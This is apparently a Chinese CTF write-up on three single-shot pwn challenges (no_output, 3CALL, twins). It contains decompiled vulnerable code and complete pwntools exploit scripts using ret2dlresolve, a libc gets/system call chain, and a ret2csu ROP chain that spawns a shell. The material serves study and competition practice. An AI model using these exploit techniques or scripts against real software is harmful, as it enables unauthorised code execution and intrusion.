不清楚叫什么名字来分类,就整这个么个不伦不类的名字吧。
曾经第1次参加单位一个CTF比赛的时候有一个pwn题,就是这类,当时我还没用过python当然也不会作题。后来刷题时遇上强网杯也有一道 no_output,基本相同。
no_output
在经过一堆处理后到一个很长的溢出,不过由于种种原因不能得到输出,所以需要一次性进入到shell.
ssize_t sub_8049236()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u);
}
这个用的是Ret2dlresolvePayload
#coding=utf-8
from pwn import *
binary="./test"
context.binary = binary
elf = ELF(binary)
p = remote("39.105.138.97", 1234)
p.send(b'\x00'*0x30 + b'E'*0x20 + b'hello_boy\x00\x00\x00\x00\x00\x00\x00' + b'-2147483648\n-1\n')
rop = ROP(binary)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x48 + p32(0) + rop_content
payload = payload.ljust(0x100, b'\x00')
payload += dl.payload
p.send(payload)
p.interactive()
这个exp当作模板作过几回赛题了。不过这个也有些限制,他会找空间写一组假的got用的表,还要考虑空间距离。
前两天miniLCTF 2023上又见着两个题,出题都是卡这个单次上,感觉题目很好,专门放一起存一下。下回说不定还会用到。
3CALL
原题和exp在官方的github上可以下载 GitHub - XDSEC/miniLCTF_2023: miniLCTF 2023 Challenges and writeup
题目很短小,可以写入三个调用,然后去执行,然后就没了,所以没有交互过程,puts(got[puts])这个入门批南就用不到了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
libc = (__int64)(&printf - 49390);
printf("gift: %p\n", &printf - 49390);
for ( i = 0; i <= 2; ++i )
read(0, &F[i], 8uLL);
check();
puts("good job!");
for ( j = 0; j <= 2; ++j )
F[j]();
return 0;
}
要最后得到shell最后一个调用就一定是system,然后需要bin/sh的地址。这个地址或者自己写或者找到libc的偏移,后者肯定是不行了,自己写就得用read或者gets。道理是这个道理,不过执行起来就不会了,看了exp后才勉强大概明白。
第1步是gets,在执行之前有一个puts输出一个提示,执行后rdi会指向libc的一个可写位置,应该是跟IO有关。这是_IO_stdfile_1_lock 的位置,由于这个锁的关系,还不能读入/bin/sh,并且这里不能破坏锁,在这里写入0
第2步再调用gets这回rdi已经指向+0x10这里在+4的位置是个计数器,自减1,在这里写入/bin/sh会被自减1后变成/bin.sh,所以这里需要写入/bin0sh
第3步是执行syscall,上一步的rdi指向刚写入的/bin/sh正好执行。
这题出得太巧妙。
from pwn import *
elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
p = process('./pwn')
gdb.attach(p) #158e
pause()
p.recvuntil(b"gift: ")
libc.address = int(p.recvline(), 16)
print(f"{ libc.address = :x}")
p.send(p64(libc.sym['gets']))
p.send(p64(libc.sym['gets']))
p.send(p64(libc.sym['system']))
p.sendlineafter(b'!\n', p64(0)) #puts rdi->output buffer rw,
p.sendline(b'/bin0sh')
p.interactive()
twins
这题出得也很新颖。
题目的pwn部分只有一句gets 可溢出,如果只看这里很简单
int pwn()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
puts("Welcome to 2023 miniL! Let's play a very eazy game! What's your name?");
gets(v1);
return puts("Good luck!");
}
不过这题不是直接执行它,而是通过一个py文件调用它。只有两个不同时才给输出,不过输出已经自动给出了“Good luck!”,它永远相同。
import sys
from subprocess import *
p1 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True)
p2 = Popen('./pwn 2>&1',stdin=PIPE, stdout=PIPE, shell=True)
out1 = p1.stdout.readline()
out2 = p2.stdout.readline()
print(out1[:-1].decode(), flush=True)
def interact(proc, line):
alive = True
try:
proc.stdin.write(line)
proc.stdin.flush()
except Exception as e:
alive = False
return proc.stdout.readline(), alive
a1, a2 = True, True
while a1 and a2:
line = sys.stdin.buffer.readline()
out1, a1 = interact(p1, line)
out2, a2 = interact(p2, line)
if out1 != out2:
print("Output conflict!", flush=True)
print(f'process 1: {out1}', flush=True)
print(f'process 2: {out2}', flush=True)
break
else:
print(out1[:-1].decode(), flush=True)
回过头来看,这也是个一次执行的题。
这题利用__libc_csu_init里的ppp6和__do_global_dtors_aux里错位形成的add DWORD PTR [rbp-0x3d], ebx' 来写入bin/sh,最后再通过ppp6+mov_call执行system
.text:0000000000401156 C6 05 0B 2F 00 00 01 mov cs:completed_8061, 1
.text:000000000040115D 5D pop rbp
.text:000000000040115E C3 retn
>>> disasm(b'\x01\x5d\xc3')
' 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx'
完整的官方EXP
from pwn import *
elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
context(arch='amd64', log_level='debug')
ret = 0x00401284
add_dword_rbp_0x3d_ebx_ret = 0x0040115c # 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
'''
.text:0000000000401156 C6 05 0B 2F 00 00 01 mov cs:completed_8061, 1
.text:000000000040115D 5D pop rbp
.text:000000000040115E C3 retn
'''
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x0040127a #__libc_csu_init
mov_call = 0x00401257
'''
.text:0000000000401220 public __libc_csu_init
......
.text:0000000000401257 31 DB xor ebx, ebx
.text:0000000000401259 0F 1F 80 00 00 00 00 nop dword ptr [rax+00000000h]
.text:0000000000401259
.text:0000000000401260
.text:0000000000401260 loc_401260: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401260 4C 89 F2 mov rdx, r14
.text:0000000000401263 4C 89 EE mov rsi, r13
.text:0000000000401266 44 89 E7 mov edi, r12d
.text:0000000000401269 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401269
.text:000000000040126D 48 83 C3 01 add rbx, 1
.text:0000000000401271 48 39 DD cmp rbp, rbx
.text:0000000000401274 75 EA jnz short loc_401260
.text:0000000000401274
.text:0000000000401276
.text:0000000000401276 loc_401276: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401276 48 83 C4 08 add rsp, 8
.text:000000000040127A 5B pop rbx
.text:000000000040127B 5D pop rbp
.text:000000000040127C 41 5C pop r12
.text:000000000040127E 41 5D pop r13
.text:0000000000401280 41 5E pop r14
.text:0000000000401282 41 5F pop r15
.text:0000000000401284 C3 retn
.text:0000000000401284 ; } // starts at 401220
'''
bss = elf.bss(0) #stdout
buf = elf.bss(0x40)
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
0, 1, rdi, rsi, rdx, addr, mov_call,
0, 0, rbp, 0, 0, 0, 0,
])
def add(off, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
off, addr + 0x3d, 0, 0, 0, 0,
add_dword_rbp_0x3d_ebx_ret,
])
payload = b'a' * 0x18 + flat([
ret,
add(0x6e69622f, buf), #0x404080 /bin/sh\0
add(0x0068732f, buf + 4),
add(libc.sym['system'] - libc.sym['_IO_2_1_stdout_'], bss), #0x404040 修改stdout为system
ret2csu(rdi=buf, addr=bss)
])
p = process(['python', 'twins.py'])
#p = process('./pwn')
#gdb.attach(p, "b*0x4011a7\nc")
p.sendlineafter(b"What's your name?\n", payload)
p.sendline(b'cat /flag')
p.interactive()